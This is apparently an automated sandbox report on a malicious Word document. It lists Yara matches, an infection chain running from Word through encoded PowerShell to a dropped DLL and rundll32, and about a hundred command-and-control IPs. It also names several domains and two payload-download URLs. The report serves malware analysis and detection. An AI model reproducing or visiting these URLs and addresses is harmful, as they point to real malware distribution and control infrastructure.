Source: Yara match File source: 0000000F.00000002.2197905867.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2168489304.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2188156936.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2336963149.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2198949244.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2210754308.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2133960367.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2208025145.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2124233296.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2134645958.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2157336224.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2113528268.0000000000270000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2113590423.0000000000290000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2134026009.0000000000260000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2177327005.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2148272205.00000000006A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2197927518.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2157365734.00000000002C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2124067211.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2208036737.00000000001D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2217818929.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2159945715.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2170332868.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2177340948.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2217846238.0000000000240000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2149995465.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2115673692.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2188168029.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2168457347.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 8.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.260000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.290000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.710000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.290000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.270000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1f0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.710000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.270000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.290000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.260000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.200000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.200000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.6a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.240000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2c0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.290000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.220000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 344894 Sample: ARCHIVOFile-20-012021.doc Startdate: 27/01/2021 Architecture: WINDOWS Score: 100 52 1.226.84.243:8080 unknown unknown 2->52 54 104.131.41.185:8080 unknown unknown 2->54 56 90 other IPs or domains 2->56 68 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->68 70 Multi AV Scanner detection for domain / URL 2->70 72 Found malware configuration 2->72 74 17 other signatures 2->74 15 cmd.exe 2->15         started        18 WINWORD.EXE 293 28 2->18         started        signatures3 process4 signatures5 86 Suspicious powershell command line found 15->86 88 Very long command line found 15->88 90 Encrypted powershell cmdline option found 15->90 20 powershell.exe 16 13 15->20         started        25 msg.exe 15->25         started        process6 dnsIp7 58 mrveggy.com 177.12.170.95, 443, 49167 IPV6InternetLtdaBR Brazil 20->58 60 riandutra.com 191.6.196.95, 49165, 80 IPV6InternetLtdaBR Brazil 20->60 62 4 other IPs or domains 20->62 50 C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll, PE32 20->50 dropped 78 Powershell drops PE file 20->78 27 rundll32.exe 20->27         started        29 rundll32.exe 25->29         started        file8 signatures9 process10 dnsIp11 33 rundll32.exe 27->33         started        64 84.232.229.24, 49175, 80 RCS-RDS73-75DrStaicoviciRO Romania 29->64 66 51.255.203.164, 8080 OVHFR France 29->66 84 System process connects to network (likely due to code injection or exploit) 29->84 signatures12 process13 process14 35 rundll32.exe 2 33->35         started        signatures15 76 Hides that the sample has been downloaded from the Internet (zone.identifier) 35->76 38 rundll32.exe 35->38         started        process16 process17 40 rundll32.exe 1 38->40         started        signatures18 80 Hides that the sample has been downloaded from the Internet (zone.identifier) 40->80 43 rundll32.exe 40->43         started        process19 process20 45 rundll32.exe 1 43->45         started        signatures21 82 Hides that the sample has been downloaded from the Internet (zone.identifier) 45->82 48 rundll32.exe 45->48         started        process22
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
200.75.39.254:80
 unknown unknown
unknown unknown true
192.175.111.212:7080
 unknown unknown
unknown unknown true
191.6.196.95
 unknown Brazil
28299 IPV6InternetLtdaBR true
91.233.197.70:80
 unknown unknown
unknown unknown true
93.149.120.214:80
 unknown unknown
unknown unknown true
212.71.237.140:8080
 unknown unknown
unknown unknown true
93.146.143.191:80
 unknown unknown
unknown unknown true
75.103.81.81
 unknown United States
14992 CRYSTALTECHUS true
181.30.61.163:443
 unknown unknown
unknown unknown true
46.101.58.37:8080
 unknown unknown
unknown unknown true
206.189.232.2:8080
 unknown unknown
unknown unknown true
213.52.74.198:80
 unknown unknown
unknown unknown true
181.10.46.92:80
 unknown unknown
unknown unknown true
51.255.203.164
 unknown France
16276 OVHFR true
191.223.36.170:80
 unknown unknown
unknown unknown true
83.169.21.32:7080
 unknown unknown
unknown unknown true
186.177.174.163:80
 unknown unknown
unknown unknown true
70.32.84.74:8080
 unknown unknown
unknown unknown true
217.13.106.14:8080
 unknown unknown
unknown unknown true
138.97.60.141:7080
 unknown unknown
unknown unknown true
111.67.12.221:8080
 unknown unknown
unknown unknown true
201.185.69.28:443
 unknown unknown
unknown unknown true
45.16.226.117:443
 unknown unknown
unknown unknown true
51.15.7.145:80
 unknown unknown
unknown unknown true
82.208.146.142:7080
 unknown unknown
unknown unknown true
1.226.84.243:8080
 unknown unknown
unknown unknown true
84.232.229.24
 unknown Romania
8708 RCS-RDS73-75DrStaicoviciRO true
70.32.115.157:8080
 unknown unknown
unknown unknown true
217.160.169.110:8080
 unknown unknown
unknown unknown true
85.105.239.184:443
 unknown unknown
unknown unknown true
152.170.79.100:80
 unknown unknown
unknown unknown true
143.0.85.206:7080
 unknown unknown
unknown unknown true
35.163.191.195
 unknown United States
16509 AMAZON-02US true
51.255.203.164:8080
 unknown unknown
unknown unknown true
94.176.234.118:443
 unknown unknown
unknown unknown true
50.28.51.143:8080
 unknown unknown
unknown unknown true
31.27.59.105:80
 unknown unknown
unknown unknown true
185.94.252.27:443
 unknown unknown
unknown unknown true
190.114.254.163:8080
 unknown unknown
unknown unknown true
197.232.36.108:80
 unknown unknown
unknown unknown true
190.45.24.210:80
 unknown unknown
unknown unknown true
185.183.16.47:80
 unknown unknown
unknown unknown true
190.24.243.186:80
 unknown unknown
unknown unknown true
190.64.88.186:443
 unknown unknown
unknown unknown true
82.48.39.246:80
 unknown unknown
unknown unknown true
191.241.233.198:80
 unknown unknown
unknown unknown true
170.81.48.2:80
 unknown unknown
unknown unknown true
172.245.248.239:8080
 unknown unknown
unknown unknown true
95.76.153.115:80
 unknown unknown
unknown unknown true
154.127.113.242:80
 unknown unknown
unknown unknown true
211.215.18.93:8080
 unknown unknown
unknown unknown true
177.12.170.95
 unknown Brazil
28299 IPV6InternetLtdaBR true
80.249.176.206:80
 unknown unknown
unknown unknown true
110.39.160.38:443
 unknown unknown
unknown unknown true
137.74.106.111:7080
 unknown unknown
unknown unknown true
5.196.35.138:7080
 unknown unknown
unknown unknown true
188.135.15.49:80
 unknown unknown
unknown unknown true
46.43.2.95:8080
 unknown unknown
unknown unknown true
68.183.190.199:8080
 unknown unknown
unknown unknown true
177.23.7.151:80
 unknown unknown
unknown unknown true
201.48.121.65:443
 unknown unknown
unknown unknown true
105.209.235.113:8080
 unknown unknown
unknown unknown true
60.93.23.51:80
 unknown unknown
unknown unknown true
62.84.75.50:80
 unknown unknown
unknown unknown true
190.247.139.101:80
 unknown unknown
unknown unknown true
177.85.167.10:80
 unknown unknown
unknown unknown true
51.255.165.160:8080
 unknown unknown
unknown unknown true
172.104.169.32:8080
 unknown unknown
unknown unknown true
68.183.170.114:8080
 unknown unknown
unknown unknown true
149.202.72.142:7080
 unknown unknown
unknown unknown true
209.33.120.130:80
 unknown unknown
unknown unknown true
178.250.54.208:8080
 unknown unknown
unknown unknown true
12.163.208.58:80
 unknown unknown
unknown unknown true
84.232.229.24:80
 unknown unknown
unknown unknown true
81.17.93.134:80
 unknown unknown
unknown unknown true
152.231.89.226:80
 unknown unknown
unknown unknown true
35.209.96.32
 unknown United States
19527 GOOGLE-2US true
87.106.46.107:8080
 unknown unknown
unknown unknown true
202.134.4.210:7080
 unknown unknown
unknown unknown true
78.206.229.130:80
 unknown unknown
unknown unknown true
12.162.84.2:8080
 unknown unknown
unknown unknown true
190.162.232.138:80
 unknown unknown
unknown unknown true
187.162.248.237:80
 unknown unknown
unknown unknown true
152.169.22.67:80
 unknown unknown
unknown unknown true
109.101.137.162:8080
 unknown unknown
unknown unknown true
122.201.23.45:443
 unknown unknown
unknown unknown true
85.214.26.7:8080
 unknown unknown
unknown unknown true
188.225.32.231:7080
 unknown unknown
unknown unknown true
104.168.154.203
 unknown United States
54290 HOSTWINDSUS true
190.251.216.100:80
 unknown unknown
unknown unknown true
104.131.41.185:8080
 unknown unknown
unknown unknown true
80.15.100.37:80
 unknown unknown
unknown unknown true
81.215.230.173:443
 unknown unknown
unknown unknown true
167.71.148.58:443
 unknown unknown
unknown unknown true
46.105.114.137:8080
 unknown unknown
unknown unknown true
110.39.162.2:443
 unknown unknown
unknown unknown true
178.211.45.66:8080
 unknown unknown
unknown unknown true
190.210.246.253:80
 unknown unknown
unknown unknown true
81.214.253.80:443
 unknown unknown
unknown unknown true
138.197.99.250:8080
 unknown unknown
unknown unknown true

Contacted Domains

Name IP Active
hbprivileged.com 35.209.96.32 true
mrveggy.com 177.12.170.95 true
ummahstars.com 35.163.191.195 true
riandutra.com 191.6.196.95 true
calledtochange.org 75.103.81.81 true
norailya.com 104.168.154.203 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://riandutra.com/email/AfhE8z0/ true
  • Avira URL Cloud: safe
 unknown
http://calledtochange.org/CalledtoChange/8huSOd/ true
  • Avira URL Cloud: malware
 unknown